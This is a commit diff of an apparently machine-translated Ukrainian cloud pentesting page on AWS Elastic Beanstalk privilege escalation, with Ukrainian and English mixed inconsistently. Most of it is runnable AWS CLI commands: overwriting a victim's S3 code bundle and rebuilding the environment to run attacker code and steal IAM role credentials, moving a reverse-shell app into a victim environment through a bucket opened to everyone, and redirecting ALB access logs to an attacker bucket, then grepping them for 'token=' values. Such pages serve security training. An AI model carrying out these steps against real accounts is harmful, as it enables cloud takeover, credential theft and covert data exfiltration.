Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-05-18 15:35:00 +00:00
parent 2d1567ce59
commit dc028cd18b
@@ -11,11 +11,11 @@
{{#endref}}
> [!WARNING]
> Щоб виконувати чутливі дії в Beanstalk, вам потрібно мати **велику кількість чутливих дозволів у багатьох різних сервісах**. Наприклад, ви можете перевірити дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
> Щоб виконувати sensitive дії в Beanstalk, вам потрібно мати **багато sensitive permissions у багатьох різних services**. Наприклад, ви можете перевірити permissions, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions та багато іншого
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
Маючи **write permissions over the S3 bucket** що містить **code** середовища та дозволи для **rebuild** додатка (потрібні `elasticbeanstalk:RebuildEnvironment` та ще декілька, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **modify** **code**, **rebuild** додаток, і наступного разу при доступі до додатка він **execute your new code**, що дозволить атакуючому скомпрометувати додаток та облікові дані IAM role.
Маючи **write permissions до S3 bucket**, що містить **code** середовища, і permissions на **rebuild** application (потрібні `elasticbeanstalk:RebuildEnvironment` і ще кілька повязаних із `S3`, `EC2` та `Cloudformation`), ви можете **modify** **code**, **rebuild** app, і наступного разу, коли ви звернетеся до app, вона **execute your new code**, що дозволяє attacker скомпрометувати application і IAM role credentials цього.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,11 +30,11 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, та інші...
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
Вищезгадані та кілька дозволів **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** і **`elasticloadbalancing`** необхідні для створення базового сценарію Elastic Beanstalk з нуля.
The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
- Створити додаток AWS Elastic Beanstalk:
- Create an AWS Elastic Beanstalk application:
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
@@ -42,27 +42,27 @@ aws elasticbeanstalk create-application --application-name MyApp
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
Якщо середовище вже створено і ви **не хочете створювати нове**, ви можете просто **оновити** існуюче.
Якщо середовище вже створено і ви **не хочете створювати нове**, ви можете просто **оновити** наявне.
- Запакуйте код вашого додатку та залежності в ZIP file:
- Package your application code and dependencies into a ZIP file:
```python
zip -r MyApp.zip .
```
- Завантажте ZIP-файл у S3 bucket:
- Завантажте ZIP file до S3 bucket:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```
- Створіть версію застосунку для AWS Elastic Beanstalk:
- Створіть AWS Elastic Beanstalk application version:
```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```
- Розгорніть версію додатка у вашому середовищі AWS Elastic Beanstalk:
- Розгорніть версію application у вашому AWS Elastic Beanstalk environment:
```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
По-перше, потрібно створити **legit Beanstalk environment** з **code**, який ви хочете запустити у **victim**, дотримуючись **попередніх кроків**. Можна використати простий **zip**, що містить ці **2 файли**:
Перш за все вам потрібно створити **legit Beanstalk environment** з **code**, який ви хочете виконати на **victim**, дотримуючись **previous steps**. Можливо, це буде простий **zip**, що містить ці **2 files**:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
Після того, як у вас запущено **your own Beanstalk env running** з вашим rev shell, настав час **migrate** його до **victims env**. Для цього потрібно **update the Bucket Policy** вашого beanstalk S3 bucket, щоб **victim can access it** (Зверніть увагу, що це **open** Bucket для **EVERYONE**):
Після того, як **ваш власний Beanstalk env запущений** із вашим rev shell, настав час **migrate** його до env **жертви**. Для цього вам потрібно **оновити Bucket Policy** вашого beanstalk S3 bucket, щоб **жертва могла отримати до нього доступ** (зверніть увагу, що це **відкриє** Bucket для **ВСІХ**):
```json
{
"Version": "2008-10-17",
@@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` для увімкнення exfiltration ALB access logs
Якщо attacker може **enumerate** Elastic Beanstalk **web** environment, **update** його, а також **control the policy of an S3 bucket** під своїм контролем, він може **exfiltrate HTTP traffic**, увімкнувши **ALB access logs** і перенаправивши їх у цей bucket.
> [!NOTE]
> Ця technique також потребує можливості **modify the destination bucket policy**, щоб service доставки ALB log міг записувати logs туди.
Підготуйте **attacker-controlled bucket**, щоб service доставки ALB log міг записувати туди:
```bash
ENV_NAME=<environment-name>
LOG_BUCKET=<attacker-bucket>
LOG_PREFIX=<prefix>
cat > /tmp/alb-log-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowALBLogDeliveryPut",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
},
{
"Sid": "AllowALBLogDeliveryAclCheck",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": [
"s3:GetBucketAcl",
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::$LOG_BUCKET"
}
]
}
EOF
aws s3api put-bucket-policy \
--bucket "$LOG_BUCKET" \
--policy file:///tmp/alb-log-policy.json \
--profile "$PROFILE"
```
Потім увімкніть ALB access logs:
```bash
aws elbv2 modify-load-balancer-attributes \
--load-balancer-arn "$LB_ARN" \
--attributes \
Key=access_logs.s3.enabled,Value=true \
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
--region us-east-1 \
--profile "$PROFILE"
```
Після цього зачекайте, поки ALB згрупує та доставить логи:
```bash
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
```
Нарешті, завантажте logs і grep для цікавих query strings:
```bash
mkdir -p /tmp/lab2-logs
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
/tmp/lab2-logs \
--recursive \
--profile "$PROFILE"
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
```
Лінія **request** всередині ALB logs може містити значення на кшталт **`?token=<FLAG>`**, якщо чутливі дані передаються в URL.
**Impact**:
- Безперервне exfiltration HTTP request metadata через logging plane, контрольований attacker
- Exposure секретів, присутніх у URL query string
- Більш stealthy шлях exfiltration, оскільки traffic створюється легітимними application components і експортується AWS-managed logging
{{#include ../../../../banners/hacktricks-training.md}}